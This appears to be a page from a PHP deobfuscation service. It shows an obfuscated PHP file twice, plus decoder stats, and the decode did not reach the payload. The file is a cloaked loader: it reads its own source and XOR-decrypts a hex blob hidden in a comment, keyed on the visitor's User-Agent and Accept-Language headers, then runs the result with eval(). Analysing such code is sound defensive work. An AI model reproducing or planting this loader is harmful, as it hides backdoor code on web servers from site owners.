Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function gqntday($qqnvgnx, $jrtsrjp){ $xbftphd=""; $ebulyek = strlen($qqn..

Decoded Output download

<?php 
function gqntday($qqnvgnx, $jrtsrjp){ 
    $xbftphd=""; 
    $ebulyek = strlen($qqnvgnx); 
    for($xukvwxl=0;$xukvwxl<$ebulyek;$xukvwxl+=2) 
        $xbftphd.=urldecode("%".substr($qqnvgnx,$xukvwxl,2)); 
     
    $strLen = strlen($xbftphd); 
    $ebulyek = strlen($jrtsrjp); 
    $uzvusij = ""; 
    for($xukvwxl=0; $xukvwxl<$strLen; $xukvwxl++){ 
        $vjvkdym = $xukvwxl % $ebulyek; 
        $uzvusij .= chr(ord($xbftphd[$xukvwxl])^ord($jrtsrjp[$vjvkdym])); 
    } 
    return $uzvusij; 
} 
$qqnvgnx = __FILE__ ; 
$ebulyek = fopen($qqnvgnx,"r"); 
$xukvwxl = fread($ebulyek,filesize($qqnvgnx)); 
/* 
386f 765541435 B1667405 1460A4a445C 
5C0411001 90D693D750A 5B5 C6d45 50401D425259404 
15805416 d514 417574246154f 1917001 14d0C 386 9755C5 
C5f6a4750111E17 57584714545 34d69164c514 74616496f554 
4165847101219 12110 5131C5 E3B3 A3E3B5D02105B4 745004c18116d33 
7663 646d43474017126 
81B1F4e393F6c3B 3A3A 1553014c6d4 74217180D15163C 697F63623F 10560C5B4 157 
584113685 E3B3A 3A154617180F1 411460454410C4 b171A190A4b534 15D16465 B110E393F683C 
395a571C144a 57536908594 456 5a4b1D42431 A405 050176a46464 41910580442 535B181 D1F35383D3F41 5C5141573C5 842 421659175f105a 
5B6d5250575a01 5318544b 5D0A5E5E554200 10145853 175a58 
6b07391E 19521 C0E3F3C3C3D5 30A44555 
2525C4c1C5655 420067 51474043584 
310120F524c5E0 B1144 451C 
4f386f 3F393A5852 4c5E5B58533 A4845416 d00565E44 530A43464b115 E574f19141 11345191A3C 3E6d313B3D53065 05f1 516085C4 91E16431 7451641155D5 D095647 
4a0817083C3E6 d314f393C6 c453D3F3 B6e33 39554e0D430E6 e3F4 8575a465 15C031E59404251 1010166b662A6b 646e150641176 d1F4d 4c3869 3C3 8383F11535 01169434 7431459181 66b662A6b646 e1500565 E44530A4312 3E0E383 
83F11464 6450B1014120800 4c0C1 C184f110C1A561 70713435f43 0C3869383 F3B5f531C4517 53576c5C 55105B5a 1C12174b1C1155 064d6 f4342161B110E54 41515E1C 1D4e683C3 93A1547 104a1209160242 
595 B540F5844551 E405a541756 5D6907681D 0E683C393A 544205541 A1045114a190E3F 69304d3D3C6d3 A3F6a504d5B 
420E393F 
6c3 B3A 4e5458175D5B5 21E0C4b43504 64b1D6f 607937636e444 650571 168 1D1 C1E3B3A3A3C3E6d 1C545D5a0 B595D50 125E19146f662B6 4613812535C 5758511238 0D3D39385D0 2105 45D5a0067554d5B 104d43 1812025E590D5 458571F1C4f386f 3F393E3B3 D6d5D515C5 9455E595 9573C 
5E55446907585B 1750 5B46451D105 30C5a 5E525C514d 033F3E3F6c35 3A3C4f6e3339 3D3C6d524d0A 410E3F3C3C393F1 8535C40544f693 2164457115010 0812 3C667479643B6 80E433 83F5B501D5D4616 53441B156b22717 E7165 3E1 A45455E0C 58545552 025E59061 7681B1 F4e393 F6c12 445243 53014c6d44 5711500 D57 53105C5E515B011 F113C7 37C7E7366 6f1710465C5C 5050015C54 5D5a001A6d6 e100D58 
5D5514391E0 E6e3 F3C5B501D595a1 3536 f4641580B5 95651523 A5E5959574b1 D6f767F287266 38174042 5a5a55 5100 525 
65a5 D51466569164208 486f5B530E5C 126d1A4 04354 115250466945554 10D1F19483C3E6d 3157575E0A18 12095 40C57441055 0B5B5a11 086910 514751500B6a1 20D575D085D 12414 60957 51515707051 F56590A430B5f57 4712190B 160E6 
83C39 4e5458175D49 393C6c3155565a 0C191 20C500B5941435 65a5E59470 969 474455576d165 a4d425859045C10 53530 A550C1F500B59 415D095740161A 0A175E3B3A3A 4c396 e453F3E53065 05f151 05f5f5f425B4 4525B00414c 4253 
08681708435 C475844054a4 61B500A4a5D1856 024 d516c14445a50 175D5a 560B69 166 52A65646f1 30A58515C4443 
11185E545f06046 c1243145B5a025 15056505 
C585 0391 4104748440 
1056e16500C54 5569104c070C5 95814424143414 c42530868171643 525E5840381A12 4257094d55086e4 16c405C59055315 255C5 9576a171B0B5919 565C 43595a0 41D40525B041F41 405D1B0B 3D3C02425B00415 
C5D5815 5350111E1446435 848 1816505f171 
14b38 386a 
1D53580B0 742470 
F6a5C5C5f411 C1C5 E3B3A3A524 116546d 47531157 404 11A4 75a 581C 162762672 F7a6566 69606679491 6144643 584d033F3E3 
F064 d42596 d105 C445f46101F1100 5D191275606679 2A66646c637 
1306d607a6 237797E667426 6b1C10074d0C 386 93C56474459 6b4600425 f4345 1C405B5a1875 306a7C7a623 76664797B 217860371904 021 F0E393F 6c12545245554 405125743175 46f504a065a181 4550C1E0 E6e3 F3C5B501 D1511015744 52184 f69323B3D1 20159445 4125E1970 565f08526a045 0416d55 
5a5a4100584 440 1910 114a5E1D0 
D68 3239483F69 3056595a0168 4516416a5 1595B40500B424 31B15500D4a1E1 412015 94454 1B5 
8343A4d3 B6e5E53431D116 d7170606e425247 146c1D44 433F3E3F41 5C4715 0F431D6f777 3306c120742 126 f0D383E3 C41524713 0C140659 
415100516754 50510C5 D55184510456a11 5a41030 51D105112 1F1908 3C3 E6d5154141E 154a5552 6d0E5844535 E4c101A16475 90F1E1B1E0A4c10 545a4309 4c16181 D1942 14101156141 510145f0A515a4 a1C15493B 3F3D3C4143425f1 10944 1C5B5a500A6301 68096e3339 3912005E4743 0815 165f5B525a3 E046d 083C3E6d 
4512515a165D 104e3F6 
930 39404401506 a0E5441515E1D13 1A10 445C0 
E191A4 e11 1D131 A451C54421E4 31D595E50 0B1E0 E6e 3F3C3B12 404 659450B1 017 585a02576 9056b 
5E353A3C3B47 
5D5942165 91712440E 38383F48393F 6c4642 56566b09594657 5E4d1F1F 1D1C49106c1F1 E4a1D1C3F1B1D1C 1C0A1D114a11 1C1315411654 1E14120B110B383 86a505610 1E40596e506815 0F0 B15134 11D42171A 
114f6 9323 B3D121F18 0D15 
15135140170D69 3D3 C6a115B 535B50140845125 E680369 5f35383D 4b455 
D5C465743423D 3A3F6d1 34f4 
30815 16586e 07685E 3B3A3A38100A59 5f5116581812 41570 E495C514201150E 6e3F3C4f3B3F3D5 C03 161817555D1 
618130916421 F19154 96e333 93912005E474308 15166966716 7337362681 3702B7B6779732B 6c6f677D2C 
6d126d164a 17124c1215 1C1611 
505C171 61E13161 B43181C1412 0B595D501 
24d1 
917 1E11 441915474f 
0E3F3C3C49150 05a435611 4f69 323B3D12 015142150 F431D6f6373 3661703 
16e 
177679766178 2078 646c637 B2B6c1 
0691 64b18 171A 1543171014580 55a 50431B15151812 
141B45124a083 C3E6d453F 3E3 F025D441D 
16164b5C1C16 405 35C111C0E3F3C 3C5D 53451E565a5 D51 3B5D4a5D 45114b181156 
0A4b1919 161F3 A3F6a3C50515 E5a1417594 
2420D0D40 0006 
0E52590B4c10565 D0F56420D6a4 6504706505B6 
e140B505a 1258 5C5C5050444b475 7550 04b43091D05 565E440858184 
1070B 
091D4 2470A175E3B3 A3A4 c140 1544151161E35 3A3C3B065a58 5f16 460B 41110B0 946520B08530 A584413 
525B0857400 96a474a55 516e4 10754 5f410 A5B5a025 11554 575C5 
8094a505f5D450A 58174 6500859 1744 
470C41023D3A3F1 93A3F1E15 505E45505D534 51E146c617B 376c6 
913 51004c6f4040 0F1E6d19161F3A 3F6a1140405a1 509154169607 C62603F 1F5551423A4 d4259153E023D3 A3F144550046a 585342565C1D421 
9181D1B1D3 8171A1A1C4c6 41E1D1C490619 1419 431B154740475E1 A15105B4c0D3 D39385D02181A1 0583E0 B6d150F5E1 917444e10101C4 34e38383F3 C104f450B10 1441 5C141F09393C6c 31145B530E 5C100D164059 6e516 80E 3F3C3C491 5005a4356114f6 9323B3D121F1 80D15160D62036d 0D693D 3C6a115 B535 B5014084 51444565C440859 465114 5E353A3C4f6 e333914520D451 55E15116 d667a67613E1154 4350400C 1F6f1418 451A1F17124d191 45E57095 2154d1 5121C111 51A15414c 0B3E3B3D 
035D461C12104 a5C1912475D594 21F5f3 A3F6a5 C531 21E535D59006 
9554 b5847104b1A1 0520C4a191C121 8343A393F01545 D0C15170E42470 A0911520E0F575 B0A4c125 759095742086e 415E4255530A6b 175D515 a455859 5B5401164346525 7014b410819 0357 
5E410C5f1644540 858184111 0B17093B 3F3D 484 5535C4 054 141F3538 3D3F0 05B585a124105 4442085 843515D095 35D58411 4560A5a5 f410C684 64a57506a47065 45a4 50D555f5152445 1540A590 91D505a5a415B0 A1F47 
550A58 17464 60847033D3F3 B1E34 3A4 d3B6e52560B5a15 100A41460B 5942540D0D520B4 a5f145B004c58 5a565E 651260793763694 1155451425C 5B5B586a126f13 0A584 b42 
55585B6d4259 084305 1F4346 
05590B5f5 C5B4243411 4411C 46550E 45511C4c1 25a57085D0 D691004 5C446f431 65B69411543535a 4051 0839 146c110F080D5 6424142454c4945 575E651 2585f0 053500D691 71258545950586 a12574155 10506e16161359 5C4057 
5E65121446 0543 5D3F170B 0E5f5B4440111 6444a4151594b 47565B0C4c10 43530F4c55 0D6a467 0501 7735C5 E536 
9160B 
591956 5C4 3595a041D40525B 041F41405D1B0 B3D3C193A3F6e3F  
*/ 
$jrtsrjp = $_SERVER["HT\X54P\X5F\X55SE\X52_\X41\X47ENT"]; 
$jrtsrjp .= $_SERVER["HTTP_A\X43\X43E\X50\X54_LANGUA\X47\X45"]; 
$xbftphd = md5($jrtsrjp); 
if(preg_match("#/\*(.*?)\*/#si", $xukvwxl, $vjvkdym)){ 
    $xukvwxl = trim($vjvkdym[1]); 
    $xukvwxl = trim($xukvwxl); 
    $xukvwxl = preg_replace("/\s+/i", "", $xukvwxl); 
    eval(gqntday($xukvwxl, $xbftphd)); 
} 
 ?>

Did this file decode correctly?

Original Code

<?php
function gqntday($qqnvgnx, $jrtsrjp){
    $xbftphd="";
    $ebulyek = strlen($qqnvgnx);
    for($xukvwxl=0;$xukvwxl<$ebulyek;$xukvwxl+=2)
        $xbftphd.=urldecode("%".substr($qqnvgnx,$xukvwxl,2));
    
    $strLen = strlen($xbftphd);
    $ebulyek = strlen($jrtsrjp);
    $uzvusij = "";
    for($xukvwxl=0; $xukvwxl<$strLen; $xukvwxl++){
        $vjvkdym = $xukvwxl % $ebulyek;
        $uzvusij .= chr(ord($xbftphd[$xukvwxl])^ord($jrtsrjp[$vjvkdym]));
    }
    return $uzvusij;
}
$qqnvgnx = __FILE__ ;
$ebulyek = fopen($qqnvgnx,"r");
$xukvwxl = fread($ebulyek,filesize($qqnvgnx));
/*
386f 765541435 B1667405 1460A4a445C
5C0411001 90D693D750A 5B5 C6d45 50401D425259404
15805416 d514 417574246154f 1917001 14d0C 386 9755C5
C5f6a4750111E17 57584714545 34d69164c514 74616496f554
4165847101219 12110 5131C5 E3B3 A3E3B5D02105B4 745004c18116d33
7663 646d43474017126
81B1F4e393F6c3B 3A3A 1553014c6d4 74217180D15163C 697F63623F 10560C5B4 157
584113685 E3B3A 3A154617180F1 411460454410C4 b171A190A4b534 15D16465 B110E393F683C
395a571C144a 57536908594 456 5a4b1D42431 A405 050176a46464 41910580442 535B181 D1F35383D3F41 5C5141573C5 842 421659175f105a
5B6d5250575a01 5318544b 5D0A5E5E554200 10145853 175a58
6b07391E 19521 C0E3F3C3C3D5 30A44555
2525C4c1C5655 420067 51474043584
310120F524c5E0 B1144 451C
4f386f 3F393A5852 4c5E5B58533 A4845416 d00565E44 530A43464b115 E574f19141 11345191A3C 3E6d313B3D53065 05f1 516085C4 91E16431 7451641155D5 D095647
4a0817083C3E6 d314f393C6 c453D3F3 B6e33 39554e0D430E6 e3F4 8575a465 15C031E59404251 1010166b662A6b 646e150641176 d1F4d 4c3869 3C3 8383F11535 01169434 7431459181 66b662A6b646 e1500565 E44530A4312 3E0E383
83F11464 6450B1014120800 4c0C1 C184f110C1A561 70713435f43 0C3869383 F3B5f531C4517 53576c5C 55105B5a 1C12174b1C1155 064d6 f4342161B110E54 41515E1C 1D4e683C3 93A1547 104a1209160242
595 B540F5844551 E405a541756 5D6907681D 0E683C393A 544205541 A1045114a190E3F 69304d3D3C6d3 A3F6a504d5B
420E393F
6c3 B3A 4e5458175D5B5 21E0C4b43504 64b1D6f 607937636e444 650571 168 1D1 C1E3B3A3A3C3E6d 1C545D5a0 B595D50 125E19146f662B6 4613812535C 5758511238 0D3D39385D0 2105 45D5a0067554d5B 104d43 1812025E590D5 458571F1C4f386f 3F393E3B3 D6d5D515C5 9455E595 9573C
5E55446907585B 1750 5B46451D105 30C5a 5E525C514d 033F3E3F6c35 3A3C4f6e3339 3D3C6d524d0A 410E3F3C3C393F1 8535C40544f693 2164457115010 0812 3C667479643B6 80E433 83F5B501D5D4616 53441B156b22717 E7165 3E1 A45455E0C 58545552 025E59061 7681B1 F4e393 F6c12 445243 53014c6d44 5711500 D57 53105C5E515B011 F113C7 37C7E7366 6f1710465C5C 5050015C54 5D5a001A6d6 e100D58
5D5514391E0 E6e3 F3C5B501D595a1 3536 f4641580B5 95651523 A5E5959574b1 D6f767F287266 38174042 5a5a55 5100 525
65a5 D51466569164208 486f5B530E5C 126d1A4 04354 115250466945554 10D1F19483C3E6d 3157575E0A18 12095 40C57441055 0B5B5a11 086910 514751500B6a1 20D575D085D 12414 60957 51515707051 F56590A430B5f57 4712190B 160E6
83C39 4e5458175D49 393C6c3155565a 0C191 20C500B5941435 65a5E59470 969 474455576d165 a4d425859045C10 53530 A550C1F500B59 415D095740161A 0A175E3B3A3A 4c396 e453F3E53065 05f151 05f5f5f425B4 4525B00414c 4253
08681708435 C475844054a4 61B500A4a5D1856 024 d516c14445a50 175D5a 560B69 166 52A65646f1 30A58515C4443
11185E545f06046 c1243145B5a025 15056505
C585 0391 4104748440
1056e16500C54 5569104c070C5 95814424143414 c42530868171643 525E5840381A12 4257094d55086e4 16c405C59055315 255C5 9576a171B0B5919 565C 43595a0 41D40525B041F41 405D1B0B 3D3C02425B00415
C5D5815 5350111E1446435 848 1816505f171
14b38 386a
1D53580B0 742470
F6a5C5C5f411 C1C5 E3B3A3A524 116546d 47531157 404 11A4 75a 581C 162762672 F7a6566 69606679491 6144643 584d033F3E3
F064 d42596 d105 C445f46101F1100 5D191275606679 2A66646c637
1306d607a6 237797E667426 6b1C10074d0C 386 93C56474459 6b4600425 f4345 1C405B5a1875 306a7C7a623 76664797B 217860371904 021 F0E393F 6c12545245554 405125743175 46f504a065a181 4550C1E0 E6e3 F3C5B501 D1511015744 52184 f69323B3D1 20159445 4125E1970 565f08526a045 0416d55
5a5a4100584 440 1910 114a5E1D0
D68 3239483F69 3056595a0168 4516416a5 1595B40500B424 31B15500D4a1E1 412015 94454 1B5
8343A4d3 B6e5E53431D116 d7170606e425247 146c1D44 433F3E3F41 5C4715 0F431D6f777 3306c120742 126 f0D383E3 C41524713 0C140659
415100516754 50510C5 D55184510456a11 5a41030 51D105112 1F1908 3C3 E6d5154141E 154a5552 6d0E5844535 E4c101A16475 90F1E1B1E0A4c10 545a4309 4c16181 D1942 14101156141 510145f0A515a4 a1C15493B 3F3D3C4143425f1 10944 1C5B5a500A6301 68096e3339 3912005E4743 0815 165f5B525a3 E046d 083C3E6d
4512515a165D 104e3F6
930 39404401506 a0E5441515E1D13 1A10 445C0
E191A4 e11 1D131 A451C54421E4 31D595E50 0B1E0 E6e 3F3C3B12 404 659450B1 017 585a02576 9056b
5E353A3C3B47
5D5942165 91712440E 38383F48393F 6c4642 56566b09594657 5E4d1F1F 1D1C49106c1F1 E4a1D1C3F1B1D1C 1C0A1D114a11 1C1315411654 1E14120B110B383 86a505610 1E40596e506815 0F0 B15134 11D42171A
114f6 9323 B3D121F18 0D15
15135140170D69 3D3 C6a115B 535B50140845125 E680369 5f35383D 4b455
D5C465743423D 3A3F6d1 34f4
30815 16586e 07685E 3B3A3A38100A59 5f5116581812 41570 E495C514201150E 6e3F3C4f3B3F3D5 C03 161817555D1
618130916421 F19154 96e333 93912005E474308 15166966716 7337362681 3702B7B6779732B 6c6f677D2C
6d126d164a 17124c1215 1C1611
505C171 61E13161 B43181C1412 0B595D501
24d1
917 1E11 441915474f
0E3F3C3C49150 05a435611 4f69 323B3D12 015142150 F431D6f6373 3661703
16e
177679766178 2078 646c637 B2B6c1
0691 64b18 171A 1543171014580 55a 50431B15151812
141B45124a083 C3E6d453F 3E3 F025D441D
16164b5C1C16 405 35C111C0E3F3C 3C5D 53451E565a5 D51 3B5D4a5D 45114b181156
0A4b1919 161F3 A3F6a3C50515 E5a1417594
2420D0D40 0006
0E52590B4c10565 D0F56420D6a4 6504706505B6
e140B505a 1258 5C5C5050444b475 7550 04b43091D05 565E440858184
1070B
091D4 2470A175E3B3 A3A4 c140 1544151161E35 3A3C3B065a58 5f16 460B 41110B0 946520B08530 A584413
525B0857400 96a474a55 516e4 10754 5f410 A5B5a025 11554 575C5
8094a505f5D450A 58174 6500859 1744
470C41023D3A3F1 93A3F1E15 505E45505D534 51E146c617B 376c6
913 51004c6f4040 0F1E6d19161F3A 3F6a1140405a1 509154169607 C62603F 1F5551423A4 d4259153E023D3 A3F144550046a 585342565C1D421
9181D1B1D3 8171A1A1C4c6 41E1D1C490619 1419 431B154740475E1 A15105B4c0D3 D39385D02181A1 0583E0 B6d150F5E1 917444e10101C4 34e38383F3 C104f450B10 1441 5C141F09393C6c 31145B530E 5C100D164059 6e516 80E 3F3C3C491 5005a4356114f6 9323B3D121F1 80D15160D62036d 0D693D 3C6a115 B535 B5014084 51444565C440859 465114 5E353A3C4f6 e333914520D451 55E15116 d667a67613E1154 4350400C 1F6f1418 451A1F17124d191 45E57095 2154d1 5121C111 51A15414c 0B3E3B3D
035D461C12104 a5C1912475D594 21F5f3 A3F6a5 C531 21E535D59006
9554 b5847104b1A1 0520C4a191C121 8343A393F01545 D0C15170E42470 A0911520E0F575 B0A4c125 759095742086e 415E4255530A6b 175D515 a455859 5B5401164346525 7014b410819 0357
5E410C5f1644540 858184111 0B17093B 3F3D 484 5535C4 054 141F3538 3D3F0 05B585a124105 4442085 843515D095 35D58411 4560A5a5 f410C684 64a57506a47065 45a4 50D555f5152445 1540A590 91D505a5a415B0 A1F47
550A58 17464 60847033D3F3 B1E34 3A4 d3B6e52560B5a15 100A41460B 5942540D0D520B4 a5f145B004c58 5a565E 651260793763694 1155451425C 5B5B586a126f13 0A584 b42
55585B6d4259 084305 1F4346
05590B5f5 C5B4243411 4411C 46550E 45511C4c1 25a57085D0 D691004 5C446f431 65B69411543535a 4051 0839 146c110F080D5 6424142454c4945 575E651 2585f0 053500D691 71258545950586 a12574155 10506e16161359 5C4057
5E65121446 0543 5D3F170B 0E5f5B4440111 6444a4151594b 47565B0C4c10 43530F4c55 0D6a467 0501 7735C5 E536
9160B
591956 5C4 3595a041D40525B 041F41405D1B0 B3D3C193A3F6e3F 
*/
$jrtsrjp = $_SERVER["HT\X54P\X5F\X55SE\X52_\X41\X47ENT"];
$jrtsrjp .= $_SERVER["HTTP_A\X43\X43E\X50\X54_LANGUA\X47\X45"];
$xbftphd = md5($jrtsrjp);
if(preg_match("#/\*(.*?)\*/#si", $xukvwxl, $vjvkdym)){
    $xukvwxl = trim($vjvkdym[1]);
    $xukvwxl = trim($xukvwxl);
    $xukvwxl = preg_replace("/\s+/i", "", $xukvwxl);
    eval(gqntday($xukvwxl, $xbftphd));
}

Function Calls

fopen 1
fread 1
filesize 1

Variables

$ebulyek True
$jrtsrjp None
$qqnvgnx index.php
$xukvwxl <?php

Stats

MD5 8a1c7f650559132c024a3735438911c8
Eval Count 0
Decode Time 331 ms